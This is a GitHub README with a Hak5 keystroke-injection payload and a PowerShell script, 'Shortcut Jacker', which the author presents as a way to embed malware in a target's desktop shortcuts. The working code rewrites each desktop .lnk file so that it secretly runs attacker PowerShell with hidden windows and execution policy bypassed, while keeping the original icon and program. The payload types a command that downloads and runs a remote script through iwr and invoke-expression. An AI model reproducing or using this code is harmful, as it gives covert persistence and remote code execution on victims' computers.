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I-Am-Jakoby
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<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
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<h1 align="center">
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<a href="https://git.io/typing-svg">
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<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Shortcut+Jacker!+😈¢er=true&size=30">
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</a>
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</h1>
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<!-- TABLE OF CONTENTS -->
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<details>
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<summary>Table of Contents</summary>
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<ol>
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<li><a href="#Description">Description</a></li>
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<li><a href="#getting-started">Getting Started</a></li>
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<li><a href="#Contributing">Contributing</a></li>
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<li><a href="#Version-History">Version History</a></li>
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<li><a href="#Contact">Contact</a></li>
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<li><a href="#Acknowledgments">Acknowledgments</a></li>
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</ol>
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</details>
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# Shortcut Jacker
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<p align="left">
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<a href="https://www.youtube.com/watch?v=sOLIdqpzrW4">
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<img src=https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/SCJ-TV2.png width="300" alt="Python" />
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</a>
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<br>YouTube Tutorial
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</p>
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A script used to embed malware in the shortcut on your targets desktop
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## Description
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This payload will run a powershell script in the background of any shortcut used on the targets desktop
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This is done by taking advantage of the ```Target``` field where powershell commands can be stored or run.
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This field can store a max of 259 VISIBLE characters in that bar however after some testing I found you can store 924 characters int the ```$code``` variable and it will still run.
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So if your command exceeds that consider using an IWR function to download and execute a longer script.
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I have an Invoke WebRequest tutorial for that [HERE](https://www.youtube.com/watch?v=bPkBzyEnr-w&list=PL3NRVyAumvmppdfMFMUzMug9Cn_MtF6ub&index=13)
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<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/properties.jpg" width="300">
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Inside the .ps1 file you will find a line at the beginning with a ```$code``` variable. This is where the powershell code you want executed is stored.
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---------------------------------------------------------------------------------------------------------------------------------------------------------
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<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/code.jpg" width="900">
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---------------------------------------------------------------------------------------------------------------------------------------------------------
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Using the ```Get-Shortcut``` function we will get the following information we can then use to maintain the integrity of the appearance of the shortcut after manipulating the ```Target``` field.
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<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/shortcut.jpg" width="900">
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## Getting Started
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Once the script is executed all of the shortcuts on your target's desktop will be infected with the powershell code you have stored in the `$code` variable in the .ps1 file
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### Dependencies
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* An internet connection
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* Windows 10,11
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<p align="right">(<a href="#top">back to top</a>)</p>
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### Executing program
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* Plug in your device
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* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload
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```
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powershell -w h -NoP -NonI -Exec Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
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```
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<p align="right">(<a href="#top">back to top</a>)</p>
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## Contributing
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All contributors names will be listed here
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I am Jakoby
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<p align="right">(<a href="#top">back to top</a>)</p>
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## Version History
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* 0.1
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* Initial Release
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<p align="right">(<a href="#top">back to top</a>)</p>
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<!-- CONTACT -->
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## Contact
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<h2 align="center">📱 My Socials 📱</h2>
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<div align=center>
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<table>
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<tr>
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<td align="center" width="96">
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<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
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<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
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</a>
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<br>YouTube
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</td>
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<td align="center" width="96">
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<a href="https://twitter.com/I_Am_Jakoby">
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<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
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</a>
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<br>Twitter
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</td>
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<td align="center" width="96">
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<a href="https://www.instagram.com/i_am_jakoby/">
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<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
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</a>
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<br>Instagram
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</td>
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<td align="center" width="96">
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<a href="https://discord.gg/MYYER2ZcJF">
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<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
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</a>
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<br>Discord
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</td>
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</tr>
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</table>
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</div>
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<p align="right">(<a href="#top">back to top</a>)</p>
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<!-- ACKNOWLEDGMENTS -->
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## Acknowledgments
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* [Hak5](https://hak5.org/)
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* [MG](https://github.com/OMG-MG)
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<p align="right">(<a href="#top">back to top</a>)</p>
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<p align="center">
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<img src="https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg" alt="Github Stats" />
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</p>
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REM Title: Shortcut-Jacker
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REM Author: I am Jakoby
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REM Description: This payload will run a powershell script in the background of any shortcut used on the targets desktop
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REM Target: Windows 10, 11
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GUI r
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DELAY 500
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STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr <Your Shared link for the intended file>?dl=1; invoke-expression $pl
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ENTER
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REM Remember to replace the link with your DropBox shared link for the intended file to download
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REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
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############################################################################################################################################################
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# | ___ _ _ _ # ,d88b.d88b #
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# Title : Shortcut-Jacker | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
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# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
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# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
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# Category : Execution | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
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# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
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# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
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# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
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# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
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# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
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#__________________________________|_________________________________________________________________________# | | ) ~ ( #
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# # / \ / ~ \ #
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# github.com/I-Am-Jakoby # \ / \~ ~/ #
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# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
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# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
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# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
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############################################################################################################################################################
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<#
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.SYNOPSIS
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This is payload used to inject powershell code into shortcuts
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.DESCRIPTION
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This payload will gather information on the shortcuts on your targets desktop
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That data will then be manipulated to embed a powershell script
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This script will be ran in the background when the short cut is
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#>
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############################################################################################################################################################
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<#
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.NOTES
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The powershell code stored in this variable is what will run in the background
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This field can store a max of 259 VISIBLE characters in that bar however after some testing I found you can store 924 characters int the $code
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variable and it will still run.
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#>
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$code = "Add-Type -AssemblyName PresentationCore,PresentationFramework; [System.Windows.MessageBox]::Show('Hacked')"
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############################################################################################################################################################
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function Get-Shortcut {
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param(
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$path = $null
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)
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$obj = New-Object -ComObject WScript.Shell
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if ($path -eq $null) {
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$pathUser = [System.Environment]::GetFolderPath('StartMenu')
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$pathCommon = $obj.SpecialFolders.Item('AllUsersStartMenu')
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$path = dir $pathUser, $pathCommon -Filter *.lnk -Recurse
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}
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if ($path -is [string]) {
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$path = dir $path -Filter *.lnk
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}
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$path | ForEach-Object {
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if ($_ -is [string]) {
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$_ = dir $_ -Filter *.lnk
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}
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if ($_) {
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$link = $obj.CreateShortcut($_.FullName)
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$info = @{}
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$info.Hotkey = $link.Hotkey
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$info.TargetPath = $link.TargetPath
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$info.LinkPath = $link.FullName
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$info.Arguments = $link.Arguments
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$info.Target = try {Split-Path $info.TargetPath -Leaf } catch { 'n/a'}
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$info.Link = try { Split-Path $info.LinkPath -Leaf } catch { 'n/a'}
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$info.WindowStyle = $link.WindowStyle
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$info.IconLocation = $link.IconLocation
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return $info
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}
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}
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}
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#-----------------------------------------------------------------------------------------------------------
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function Set-Shortcut {
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param(
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[Parameter(ValueFromPipelineByPropertyName=$true)]
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$LinkPath,
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$IconLocation,
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$Arguments,
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$TargetPath
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)
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begin {
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$shell = New-Object -ComObject WScript.Shell
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}
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process {
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$link = $shell.CreateShortcut($LinkPath)
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$PSCmdlet.MyInvocation.BoundParameters.GetEnumerator() |
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Where-Object { $_.key -ne 'LinkPath' } |
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ForEach-Object { $link.$($_.key) = $_.value }
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$link.Save()
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}
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}
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#-----------------------------------------------------------------------------------------------------------
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function hijack{
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$Link = $i.LinkPath
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$Loc = $i.IconLocation
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$TargetPath = $i.TargetPath
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if($Loc.length -lt 4){$Loc = "$TargetPath$Loc"}
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$Target = $i.Target
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if(Test-Path -Path "$Link" -PathType Leaf){Set-Shortcut -LinkPath "$Link" -IconLocation "$Loc" -Arguments "-w h -NoP -NonI -Exec Bypass start-process '$TargetPath';$code" -TargetPath "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"}
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}
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#-----------------------------------------------------------------------------------------------------------
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Get-ChildItem –Path "$Env:USERPROFILE\Desktop" -Filter *.lnk |Foreach-Object {$i = Get-Shortcut $_.FullName;hijack $_.FullName}
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